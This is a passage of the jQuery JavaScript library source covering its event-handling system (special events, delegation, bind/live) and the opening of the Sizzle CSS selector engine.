\n\t\t\t\t\n\t\t\t},\n\n\t\t\tremove: function( namespaces ) {\n\t\t\t\tif ( namespaces.length ) {\n\t\t\t\t\tvar remove = 0, name = new RegExp(\"(^|\\\\.)\" + namespaces[0] + \"(\\\\.|$)\");\n\n\t\t\t\t\tjQuery.each( (jQuery.data(this, \"events\").live || {}), function() {\n\t\t\t\t\t\tif ( name.test(this.type) ) {\n\t\t\t\t\t\t\tremove++;\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\n\t\t\t\t\tif ( remove < 1 ) {\n\t\t\t\t\t\tjQuery.event.remove( this, namespaces[0], liveHandler );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t\tspecial: {}\n\t\t},\n\t\tbeforeunload: {\n\t\t\tsetup: function( data, namespaces, fn ) {\n\t\t\t\t// We only want to do this special case on windows\n\t\t\t\tif ( this.setInterval ) {\n\t\t\t\t\tthis.onbeforeunload = fn;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t},\n\t\t\tteardown: function( namespaces, fn ) {\n\t\t\t\tif ( this.onbeforeunload === fn ) {\n\t\t\t\t\tthis.onbeforeunload = null;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\njQuery.Event = function( src ) {\n\t// Allow instantiation without the 'new' keyword\n\tif ( !this.preventDefault ) {\n\t\treturn new jQuery.Event( src );\n\t}\n\n\t// Event object\n\tif ( src && src.type ) {\n\t\tthis.originalEvent = src;\n\t\tthis.type = src.type;\n\t// Event type\n\t} else {\n\t\tthis.type = src;\n\t}\n\n\t// timeStamp is buggy for some events on Firefox(#3843)\n\t// So we won't rely on the native value\n\tthis.timeStamp = now();\n\n\t// Mark it as fixed\n\tthis[ expando ] = true;\n};\n\nfunction returnFalse() {\n\treturn false;\n}\nfunction returnTrue() {\n\treturn true;\n}\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\njQuery.Event.prototype = {\n\tpreventDefault: function() {\n\t\tthis.isDefaultPrevented = returnTrue;\n\n\t\tvar e = this.originalEvent;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t// if preventDefault exists run it on the original event\n\t\tif ( e.preventDefault ) {\n\t\t\te.preventDefault();\n\t\t}\n\t\t// otherwise set the returnValue property of the original event to false (IE)\n\t\te.returnValue = false;\n\t},\n\tstopPropagation: function() {\n\t\tthis.isPropagationStopped = returnTrue;\n\n\t\tvar e = this.originalEvent;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\t\t// if stopPropagation exists run it on the original event\n\t\tif ( e.stopPropagation ) {\n\t\t\te.stopPropagation();\n\t\t}\n\t\t// otherwise set the cancelBubble property of the original event to true (IE)\n\t\te.cancelBubble = true;\n\t},\n\tstopImmediatePropagation: function() {\n\t\tthis.isImmediatePropagationStopped = returnTrue;\n\t\tthis.stopPropagation();\n\t},\n\tisDefaultPrevented: returnFalse,\n\tisPropagationStopped: returnFalse,\n\tisImmediatePropagationStopped: returnFalse\n};\n\n// Checks if an event happened on an element within another element\n// Used in jQuery.event.special.mouseenter and mouseleave handlers\nvar withinElement = function( event ) {\n\t// Check if mouse(over|out) are still within the same parent element\n\tvar parent = event.relatedTarget;\n\n\t// Traverse up the tree\n\twhile ( parent && parent !== this ) {\n\t\t// Firefox sometimes assigns relatedTarget a XUL element\n\t\t// which we cannot access the parentNode property of\n\t\ttry {\n\t\t\tparent = parent.parentNode;\n\n\t\t// assuming we've left the element since we most likely mousedover a xul element\n\t\t} catch(e) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif ( parent !== this ) {\n\t\t// set the correct event type\n\t\tevent.type = event.data;\n\n\t\t// handle event if we actually just moused on to a non sub-element\n\t\tjQuery.event.handle.apply( this, arguments );\n\t}\n\n},\n\n// In case of event delegation, we only need to rename the event.type,\n// liveHandler will take care of the rest.\ndelegate = function( event ) {\n\tevent.type = event.data;\n\tjQuery.event.handle.apply( this, arguments );\n};\n\n// Create mouseenter and mouseleave events\njQuery.each({\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\"\n}, function( orig, fix ) {\n\tjQuery.event.special[ orig ] = {\n\t\tsetup: function( data ) {\n\t\t\tjQuery.event.add( this, fix, data && data.selector ? delegate : withinElement, orig );\n\t\t},\n\t\tteardown: function( data ) {\n\t\t\tjQuery.event.remove( this, fix, data && data.selector ? delegate : withinElement );\n\t\t}\n\t};\n});\n\n// submit delegation\nif ( !jQuery.support.submitBubbles ) {\n\njQuery.event.special.submit = {\n\tsetup: function( data, namespaces, fn ) {\n\t\tif ( this.nodeName.toLowerCase() !== \"form\" ) {\n\t\t\tjQuery.event.add(this, \"click.specialSubmit.\" + fn.guid, function( e ) {\n\t\t\t\tvar elem = e.target, type = elem.type;\n\n\t\t\t\tif ( (type === \"submit\" || type === \"image\") && jQuery( elem ).closest(\"form\").length ) {\n\t\t\t\t\treturn trigger( \"submit\", this, arguments );\n\t\t\t\t}\n\t\t\t});\n\t \n\t\t\tjQuery.event.add(this, \"keypress.specialSubmit.\" + fn.guid, function( e ) {\n\t\t\t\tvar elem = e.target, type = elem.type;\n\n\t\t\t\tif ( (type === \"text\" || type === \"password\") && jQuery( elem ).closest(\"form\").length && e.keyCode === 13 ) {\n\t\t\t\t\treturn trigger( \"submit\", this, arguments );\n\t\t\t\t}\n\t\t\t});\n\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t},\n\n\tremove: function( namespaces, fn ) {\n\t\tjQuery.event.remove( this, \"click.specialSubmit\" + (fn ? \".\"+fn.guid : \"\") );\n\t\tjQuery.event.remove( this, \"keypress.specialSubmit\" + (fn ? \".\"+fn.guid : \"\") );\n\t}\n};\n\n}\n\n// change delegation, happens here so we have bind.\nif ( !jQuery.support.changeBubbles ) {\n\nvar formElems = /textarea|input|select/i;\n\nfunction getVal( elem ) {\n\tvar type = elem.type, val = elem.value;\n\n\tif ( type === \"radio\" || type === \"checkbox\" ) {\n\t\tval = elem.checked;\n\n\t} else if ( type === \"select-multiple\" ) {\n\t\tval = elem.selectedIndex > -1 ?\n\t\t\tjQuery.map( elem.options, function( elem ) {\n\t\t\t\treturn elem.selected;\n\t\t\t}).join(\"-\") :\n\t\t\t\"\";\n\n\t} else if ( elem.nodeName.toLowerCase() === \"select\" ) {\n\t\tval = elem.selectedIndex;\n\t}\n\n\treturn val;\n}\n\nfunction testChange( e ) {\n\t\tvar elem = e.target, data, val;\n\n\t\tif ( !formElems.test( elem.nodeName ) || elem.readOnly ) {\n\t\t\treturn;\n\t\t}\n\n\t\tdata = jQuery.data( elem, \"_change_data\" );\n\t\tval = getVal(elem);\n\n\t\t// the current data will be also retrieved by beforeactivate\n\t\tif ( e.type !== \"focusout\" || elem.type !== \"radio\" ) {\n\t\t\tjQuery.data( elem, \"_change_data\", val );\n\t\t}\n\t\t\n\t\tif ( data === undefined || val === data ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( data != null || val ) {\n\t\t\te.type = \"change\";\n\t\t\treturn jQuery.event.trigger( e, arguments[1], elem );\n\t\t}\n}\n\njQuery.event.special.change = {\n\tfilters: {\n\t\tfocusout: testChange, \n\n\t\tclick: function( e ) {\n\t\t\tvar elem = e.target, type = elem.type;\n\n\t\t\tif ( type === \"radio\" || type === \"checkbox\" || elem.nodeName.toLowerCase() === \"select\" ) {\n\t\t\t\treturn testChange.call( this, e );\n\t\t\t}\n\t\t},\n\n\t\t// Change has to be called before submit\n\t\t// Keydown will be called before keypress, which is used in submit-event delegation\n\t\tkeydown: function( e ) {\n\t\t\tvar elem = e.target, type = elem.type;\n\n\t\t\tif ( (e.keyCode === 13 && elem.nodeName.toLowerCase() !== \"textarea\") ||\n\t\t\t\t(e.keyCode === 32 && (type === \"checkbox\" || type === \"radio\")) ||\n\t\t\t\ttype === \"select-multiple\" ) {\n\t\t\t\treturn testChange.call( this, e );\n\t\t\t}\n\t\t},\n\n\t\t// Beforeactivate happens also before the previous element is blurred\n\t\t// with this event you can't trigger a change event, but you can store\n\t\t// information/focus[in] is not needed anymore\n\t\tbeforeactivate: function( e ) {\n\t\t\tvar elem = e.target;\n\n\t\t\tif ( elem.nodeName.toLowerCase() === \"input\" && elem.type === \"radio\" ) {\n\t\t\t\tjQuery.data( elem, \"_change_data\", getVal(elem) );\n\t\t\t}\n\t\t}\n\t},\n\tsetup: function( data, namespaces, fn ) {\n\t\tfor ( var type in changeFilters ) {\n\t\t\tjQuery.event.add( this, type + \".specialChange.\" + fn.guid, changeFilters[type] );\n\t\t}\n\n\t\treturn formElems.test( this.nodeName );\n\t},\n\tremove: function( namespaces, fn ) {\n\t\tfor ( var type in changeFilters ) {\n\t\t\tjQuery.event.remove( this, type + \".specialChange\" + (fn ? \".\"+fn.guid : \"\"), changeFilters[type] );\n\t\t}\n\n\t\treturn formElems.test( this.nodeName );\n\t}\n};\n\nvar changeFilters = jQuery.event.special.change.filters;\n\n}\n\nfunction trigger( type, elem, args ) {\n\targs[0].type = type;\n\treturn jQuery.event.handle.apply( elem, args );\n}\n\n// Create \"bubbling\" focus and blur events\nif ( document.addEventListener ) {\n\tjQuery.each({ focus: \"focusin\", blur: \"focusout\" }, function( orig, fix ) {\n\t\tjQuery.event.special[ fix ] = {\n\t\t\tsetup: function() {\n\t\t\t\tthis.addEventListener( orig, handler, true );\n\t\t\t}, \n\t\t\tteardown: function() { \n\t\t\t\tthis.removeEventListener( orig, handler, true );\n\t\t\t}\n\t\t};\n\n\t\tfunction handler( e ) { \n\t\t\te = jQuery.event.fix( e );\n\t\t\te.type = fix;\n\t\t\treturn jQuery.event.handle.call( this, e );\n\t\t}\n\t});\n}\n\njQuery.each([\"bind\", \"one\"], function( i, name ) {\n\tjQuery.fn[ name ] = function( type, data, fn ) {\n\t\t// Handle object literals\n\t\tif ( typeof type === \"object\" ) {\n\t\t\tfor ( var key in type ) {\n\t\t\t\tthis[ name ](key, data, type[key], fn);\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\t\t\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\tfn = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\tvar handler = name === \"one\" ? jQuery.proxy( fn, function( event ) {\n\t\t\tjQuery( this ).unbind( event, handler );\n\t\t\treturn fn.apply( this, arguments );\n\t\t}) : fn;\n\n\t\treturn type === \"unload\" && name !== \"one\" ?\n\t\t\tthis.one( type, data, fn ) :\n\t\t\tthis.each(function() {\n\t\t\t\tjQuery.event.add( this, type, handler, data );\n\t\t\t});\n\t};\n});\n\njQuery.fn.extend({\n\tunbind: function( type, fn ) {\n\t\t// Handle object literals\n\t\tif ( typeof type === \"object\" && !type.preventDefault ) {\n\t\t\tfor ( var key in type ) {\n\t\t\t\tthis.unbind(key, type[key]);\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tjQuery.event.remove( this, type, fn );\n\t\t});\n\t},\n\ttrigger: function( type, data ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.event.trigger( type, data, this );\n\t\t});\n\t},\n\n\ttriggerHandler: function( type, data ) {\n\t\tif ( this[0] ) {\n\t\t\tvar event = jQuery.Event( type );\n\t\t\tevent.preventDefault();\n\t\t\tevent.stopPropagation();\n\t\t\tjQuery.event.trigger( event, data, this[0] );\n\t\t\treturn event.result;\n\t\t}\n\t},\n\n\ttoggle: function( fn ) {\n\t\t// Save reference to arguments for access in closure\n\t\tvar args = arguments, i = 1;\n\n\t\t// link all the functions, so any of them can unbind this click handler\n\t\twhile ( i < args.length ) {\n\t\t\tjQuery.proxy( fn, args[ i++ ] );\n\t\t}\n\n\t\treturn this.click( jQuery.proxy( fn, function( event ) {\n\t\t\t// Figure out which function to execute\n\t\t\tvar lastToggle = ( jQuery.data( this, \"lastToggle\" + fn.guid ) || 0 ) % i;\n\t\t\tjQuery.data( this, \"lastToggle\" + fn.guid, lastToggle + 1 );\n\n\t\t\t// Make sure that clicks stop\n\t\t\tevent.preventDefault();\n\n\t\t\t// and execute the function\n\t\t\treturn args[ lastToggle ].apply( this, arguments ) || false;\n\t\t}));\n\t},\n\n\thover: function( fnOver, fnOut ) {\n\t\treturn this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );\n\t}\n});\n\njQuery.each([\"live\", \"die\"], function( i, name ) {\n\tjQuery.fn[ name ] = function( types, data, fn ) {\n\t\tvar type, i = 0;\n\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\tfn = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\ttypes = (types || \"\").split( /\\s+/ );\n\n\t\twhile ( (type = types[ i++ ]) != null ) {\n\t\t\ttype = type === \"focus\" ? \"focusin\" : // focus --> focusin\n\t\t\t\t\ttype === \"blur\" ? \"focusout\" : // blur --> focusout\n\t\t\t\t\ttype === \"hover\" ? types.push(\"mouseleave\") && \"mouseenter\" : // hover support\n\t\t\t\t\ttype;\n\t\t\t\n\t\t\tif ( name === \"live\" ) {\n\t\t\t\t// bind live handler\n\t\t\t\tjQuery( this.context ).bind( liveConvert( type, this.selector ), {\n\t\t\t\t\tdata: data, selector: this.selector, live: type\n\t\t\t\t}, fn );\n\n\t\t\t} else {\n\t\t\t\t// unbind live handler\n\t\t\t\tjQuery( this.context ).unbind( liveConvert( type, this.selector ), fn ? { guid: fn.guid + this.selector + type } : null );\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn this;\n\t}\n});\n\nfunction liveHandler( event ) {\n\tvar stop, elems = [], selectors = [], args = arguments,\n\t\trelated, match, fn, elem, j, i, l, data,\n\t\tlive = jQuery.extend({}, jQuery.data( this, \"events\" ).live);\n\n\t// Make sure we avoid non-left-click bubbling in Firefox (#3861)\n\tif ( event.button && event.type === \"click\" ) {\n\t\treturn;\n\t}\n\n\tfor ( j in live ) {\n\t\tfn = live[j];\n\t\tif ( fn.live === event.type ||\n\t\t\t\tfn.altLive && jQuery.inArray(event.type, fn.altLive) > -1 ) {\n\n\t\t\tdata = fn.data;\n\t\t\tif ( !(data.beforeFilter && data.beforeFilter[event.type] && \n\t\t\t\t\t!data.beforeFilter[event.type](event)) ) {\n\t\t\t\tselectors.push( fn.selector );\n\t\t\t}\n\t\t} else {\n\t\t\tdelete live[j];\n\t\t}\n\t}\n\n\tmatch = jQuery( event.target ).closest( selectors, event.currentTarget );\n\n\tfor ( i = 0, l = match.length; i < l; i++ ) {\n\t\tfor ( j in live ) {\n\t\t\tfn = live[j];\n\t\t\telem = match[i].elem;\n\t\t\trelated = null;\n\n\t\t\tif ( match[i].selector === fn.selector ) {\n\t\t\t\t// Those two events require additional checking\n\t\t\t\tif ( fn.live === \"mouseenter\" || fn.live === \"mouseleave\" ) {\n\t\t\t\t\trelated = jQuery( event.relatedTarget ).closest( fn.selector )[0];\n\t\t\t\t}\n\n\t\t\t\tif ( !related || related !== elem ) {\n\t\t\t\t\telems.push({ elem: elem, fn: fn });\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor ( i = 0, l = elems.length; i < l; i++ ) {\n\t\tmatch = elems[i];\n\t\tevent.currentTarget = match.elem;\n\t\tevent.data = match.fn.data;\n\t\tif ( match.fn.apply( match.elem, args ) === false ) {\n\t\t\tstop = false;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn stop;\n}\n\nfunction liveConvert( type, selector ) {\n\treturn \"live.\" + (type ? type + \".\" : \"\") + selector.replace(/\\./g, \"`\").replace(/ /g, \"&\");\n}\n\njQuery.each( (\"blur focus focusin focusout load resize scroll unload click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup error\").split(\" \"), function( i, name ) {\n\n\t// Handle event binding\n\tjQuery.fn[ name ] = function( fn ) {\n\t\treturn fn ? this.bind( name, fn ) : this.trigger( name );\n\t};\n\n\tif ( jQuery.attrFn ) {\n\t\tjQuery.attrFn[ name ] = true;\n\t}\n});\n\n// Prevent memory leaks in IE\n// Window isn't included so as not to unbind existing unload events\n// More info:\n//  - http://isaacschlueter.com/2006/10/msie-memory-leaks/\nif ( window.attachEvent && !window.addEventListener ) {\n\twindow.attachEvent(\"onunload\", function() {\n\t\tfor ( var id in jQuery.cache ) {\n\t\t\tif ( jQuery.cache[ id ].handle ) {\n\t\t\t\t// Try/Catch is to handle iframes being unloaded, see #4280\n\t\t\t\ttry {\n\t\t\t\t\tjQuery.event.remove( jQuery.cache[ id ].handle.elem );\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\t\t}\n\t});\n}\n/*!\n * Sizzle CSS Selector Engine - v1.0\n *  Copyright 2009, The Dojo Foundation\n *  Released under the MIT, BSD, and GPL Licenses.\n *  More information: http://sizzlejs.com/\n */\n(function(){\n\nvar chunker = /((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^[\\]]*\\]|['\"][^'\"]*['\"]|[^[\\]'\"]+)+\\]|\\\\.|[^ >+~,(\\[\\\\]+)+|[>+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,\n\tdone = 0,\n\ttoString = Object.prototype.toString,\n\thasDuplicate = false,\n\tbaseHasDuplicate = true;\n\n// Here we check if the JavaScript engine is using some sort of\n// optimization where it does not always call our comparision\n// function. If that is the case, discard the hasDuplicate value.\n//   Thus far that includes Google Chrome.\n[0, 0].sort(function(){\n\tbaseHasDuplicate = false;\n\treturn 0;\n});\n\nvar Sizzle = function(selector, context, results, seed) {\n\tresults = results || [];\n\tvar origContext = context = context || document;\n\n\tif ( context.nodeType !== 1 && context.nodeType !== 9 ) {\n\t\treturn [];\n\t}\n\t\n\tif ( !selector || typeof selector !== \"string\" ) {\n\t\treturn results;\n\t}\n\n\tvar parts = [], m, set, checkSet, extra, prune = true, contextXML = isXML(context),\n\t\tsoFar = selector;\n\t\n\t// Reset the position of the chunker regexp (start from head)\n\twhile ( (chunker.exec(\"\"), m = chunker.exec(soFar)) !== null ) {\n\t\tsoFar = m[3];\n\t\t\n\t\tparts.push( m[1] );\n\t\t\n\t\tif ( m[2] ) {\n\t\t\textra = m[3];\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif ( parts.length > 1 && origPOS.exec( selector ) ) {\n\t\tif ( parts.length === 2 && Expr.relative[ parts[0] ] ) {\n\t\t\tset = posProcess( parts[0] + parts[1], context );\n\t\t} else {\n\t\t\tset = Expr.relative[ parts[0] ] ?\n\t\t\t\t[ context ] :\n\t\t\t\tSizzle( parts.shift(), context );\n\n\t\t\twhile ( parts.length ) {\n\t\t\t\tselector = parts.shift();\n\n\t\t\t\tif ( Expr.relative[ selector ] ) {\n\t\t\t\t\tselector += parts.shift();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tset = posProcess( selector, set );\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// Take a shortcut and set the context if the root selector is an ID\n\t\t// (but not if it'll be faster if the inner selector is an ID)\n\t\tif ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&\n\t\t\t\tExpr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {\n\t\t\tvar ret = Sizzle.find( parts.shift(), context, contextXML );\n\t\t\tcontext = ret.expr ? Sizzle.filter( ret.expr, ret.set )[0] : ret.set[0];\n\t\t}\n\n\t\tif ( context ) {\n\t\t\tvar ret = seed ?\n\t\t\t\t{ expr: parts.pop(), set: makeArray(seed) } :\n\t\t\t\tSizzle.find( parts.pop(), parts.length === 1 && (parts[0] === \"~\" || parts[0] === \"+\") && context.parentNode ? context.parentNode : context, contextXML );\n\t\t\tset = ret.expr ? Sizzle.filter( ret.expr, ret.set ) : ret.set;\n\n\t\t\tif ( parts.length > 0 ) {\n\t\t\t\tcheckSet = makeArray(set);\n\t\t\t} else {\n\t\t\t\tprune = false;\n\t\t\t}\n\n\t\t\twhile ( parts.length ) {\n\t\t\t\tvar cur = parts.pop(), pop = cur;\n\n\t\t\t\tif ( !Expr.relative[ cur ] ) {\n\t\t\t\t\tcur = \"\";\n\t\t\t\t} else {\n\t\t\t\t\tpop = parts.pop();\n\t\t\t\t}\n\n\t\t\t\tif ( pop == null ) {\n\t\t\t\t\tpop = context;\n\t\t\t\t}\n\n\t\t\t\tExpr.relative[ cur ]( checkSet, pop, contextXML );\n\t\t\t}\n\t\t} else {\n\t\t\tcheckSet = parts = [];\n\t\t}\n\t}\n\n\tif ( !checkSet ) {\n\t\tcheckSet = set;\n\t}\n\n\tif ( !checkSet ) {\n\t\tSizzle.error( cur || selector );\n\t}\n\n\tif ( toString.call(checkSet) === \"[object Array]\" ) {\n\t\tif ( !prune ) {\n\t\t\tresults.push.apply( results, checkSet );\n\t\t} else if ( context && context.nodeType === 1 ) {\n\t\t\tfor ( var i = 0; checkSet[i] != null; i++ ) {\n\t\t\t\tif ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && contains(context, checkSet[i])) ) {\n\t\t\t\t\tresults.push( set[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor ( var i = 0; checkSet[i] != null; i++ ) {\n\t\t\t\tif ( checkSet[i] && checkSet[i].nodeType === 1 ) {\n\t\t\t\t\tresults.push( set[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tmakeArray( checkSet, results );\n\t}\n\n\tif ( extra ) {\n\t\tSizzle( extra, origContext, results, seed );\n\t\tSizzle.uniqueSort( results );\n\t}\n\n\treturn results;\n};\n\nSizzle.uniqueSort = function(results){\n\tif ( sortOrder ) {\n\t\thasDuplicate = baseHasDuplicate;\n\t\tresults.sort(sortOrder);\n\n\t\tif ( hasDuplicate ) {\n\t\t\tfor ( var i = 1; i < results.length; i++ ) {\n\t\t\t\tif ( results[i] === results[i-1] ) {\n\t\t\t\t\tresults.splice(i--, 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn results;\n};\n\nSizzle.matches = function(expr, set){\n\treturn Sizzle(expr, null, null, set);\n};\n\nSizzle.find = function(expr, context, isXML){\n\tvar set, match;\n\n\tif ( !expr ) {\n\t\treturn [];\n\t}\n\n\tfor ( var i = 0, l = Expr.order.length; i < l; i++ ) {\n\t\tvar type = Expr.order[i], match;\n\t\t\n\t\tif ( (match = Expr.leftMatch[ type ].exec( expr )) ) {\n\t\t\tvar left = match[1];\n\t\t\tmatch.splice(1,1);\n\n\t\t\tif ( left.substr( left.length - 1 ) !== \"\\\\\" ) {\n\t\t\t\tmatch[1] = (match[1] || \"\").replace(/\\\\/g, \"\");\n\t\t\t\tset = Expr.find[ type ]( match, context, isXML );\n\t\t\t\tif ( set != null ) {\n\t\t\t\t\texpr = expr.replace( Expr.match[ type ], \"\" );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( !set ) {\n\t\tset = context.getElementsByTagName(\"*\");\n\t}\n\n\treturn {set: set, expr: expr};\n};\n\nSizzle.filter = function(expr, set, inplace, not){\n\tvar old = expr, result = [], curLoop = set, match, anyFound,\n\t\tisXMLFilter = set && set[0] && isXML(set[0]);\n\n\twhile ( expr && set.length ) {\n\t\tfor ( var type in Expr.filter ) {\n\t\t\tif ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {\n\t\t\t\tvar filter = Expr.filter[ type ], found, item, left = match[1];\n\t\t\t\tanyFound = false;\n\n\t\t\t\tmatch.splice(1,1);\n\n\t\t\t\tif ( left.substr( left.length - 1 ) === \"\\\\\" ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ( curLoop === result ) {\n\t\t\t\t\tresult = [];\n\t\t\t\t}\n\n\t\t\t\tif ( Expr.preFilter[ type ] ) {\n\t\t\t\t\tmatch = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );\n\n\t\t\t\t\tif ( !match ) {\n\t\t\t\t\t\tanyFound = found = true;\n\t\t\t\t\t} else if ( match === true ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( match ) {\n\t\t\t\t\tfor ( var i = 0; (item = curLoop[i]) != null; i++ ) {\n\t\t\t\t\t\tif ( item ) {\n\t\t\t\t\t\t\tfound = filter( item, match, i, curLoop );\n\t\t\t\t\t\t\tvar pass = not ^ !!found;\n\n\t\t\t\t\t\t\tif ( inplace && found != null ) {\n\t\t\t\t\t\t\t\tif ( pass ) {\n\t\t\t\t\t\t\t\t\tanyFound = true;\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tcurLoop[i] = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else if ( pass ) {\n\t\t\t\t\t\t\t\tresult.push( item );\n\t\t\t\t\t\t\t\tanyFound = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( found !== undefined ) {\n\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\tcurLoop = result;\n\t\t\t\t\t}\n\n\t\t\t\t\texpr = expr.replace( Expr.match[ type ], \"\" );\n\n\t\t\t\t\tif ( !anyFound ) {\n\t\t\t\t\t\treturn [];\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Improper expression\n\t\tif ( expr === old ) {\n\t\t\tif ( anyFound == null ) {\n\t\t\t\tSizzle.error( expr );\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\told = expr;\n\t}\n\n\treturn curLoop;\n};\n\nSizzle.error = function( msg ) {\n\tthrow \"Syntax error, unrecognized expression: \" + msg;\n};\n\nvar Expr = Sizzle.selectors = {\n\torder: [ \"ID\", \"NAME\", \"TAG\" ],\n\tmatch: {\n\t\tID: /#((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)/,\n\t\tCLASS: /\\.((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)/,\n\t\tNAME: /\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)['\"]*\\]/,\n\t\tATTR: /\\[\\s*((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(['\"]*)(.*?)\\3|)\\s*\\]/,\n\t\tTAG: /^((?:[\\w\\u00c0-\\uFFFF\\*-]|\\\\.)+)/,\n\t\tCHILD: /:(only|nth|last|first)-child(?:\\((even|odd|[\\dn+-]*)\\))?/,\n\t\tPOS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^-]|$)/,\n\t\tPSEUDO: /:((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/\n\t},\n\tleftMatch: {},\n\tattrMap: {\n\t\t\"class\": \"className\",\n\t\t\"for\": \"htmlFor\"\n\t},\n\tattrHandle: {\n\t\thref: function(elem){\n\t\t\treturn elem.getAttribute(\"href\");\n\t\t}\n\t},\n\trelative: {\n\t\t\"+\": function(checkSet, part){\n\t\t\tvar isPartStr = typeof part === \"string\",\n\t\t\t\tisTag = isPartStr && !/\\W/.test(part),\n\t\t\t\tisPartStrNotTag = isPartStr && !isTag;\n\n\t\t\tif ( isTag ) {\n\t\t\t\tpart = part.toLowerCase();\n\t\t\t}\n\n\t\t\tfor ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {\n\t\t\t\tif ( (elem = checkSet[i]) ) {\n\t\t\t\t\twhile ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}\n\n\t\t\t\t\tcheckSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?\n\t\t\t\t\t\telem || false :\n\t\t\t\t\t\telem === part;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( isPartStrNotTag ) {\n\t\t\t\tSizzle.filter( part, checkSet, true );\n\t\t\t}\n\t\t},\n\t\t\">\": function(checkSet, part){\n\t\t\tvar isPartStr = typeof part === \"string\";\n\n\t\t\tif ( isPartStr && !/\\W/.test(part) ) {\n\t\t\t\tpart = part.toLowerCase();\n\n\t\t\t\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\t\t\t\tvar elem = checkSet[i];\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\tvar parent = elem.parentNode;\n\t\t\t\t\t\tcheckSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\t\t\t\tvar elem = checkSet[i];\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\tcheckSet[i] = isPartStr ?\n\t\t\t\t\t\t\telem.parentNode :\n\t\t\t\t\t\t\telem.parentNode === part;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( isPartStr ) {\n\t\t\t\t\tSizzle.filter( part, checkSet, true );\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"\": function(checkSet, part, isXML){\n\t\t\tvar doneName = done++, checkFn = dirCheck;\n\n\t\t\tif ( typeof part === \"string\" && !/\\W/.test(part) ) {\n\t\t\t\tvar nodeCheck = part = part.toLowerCase();\n\t\t\t\tcheckFn = dirNodeCheck;\n\t\t\t}\n\n\t\t\tcheckFn(\"parentNode\", part, doneName, checkSet, nodeCheck, isXML);\n\t\t},\n\t\t\"~\": function(checkSet, part, isXML){\n\t\t\tvar doneName = done++, checkFn 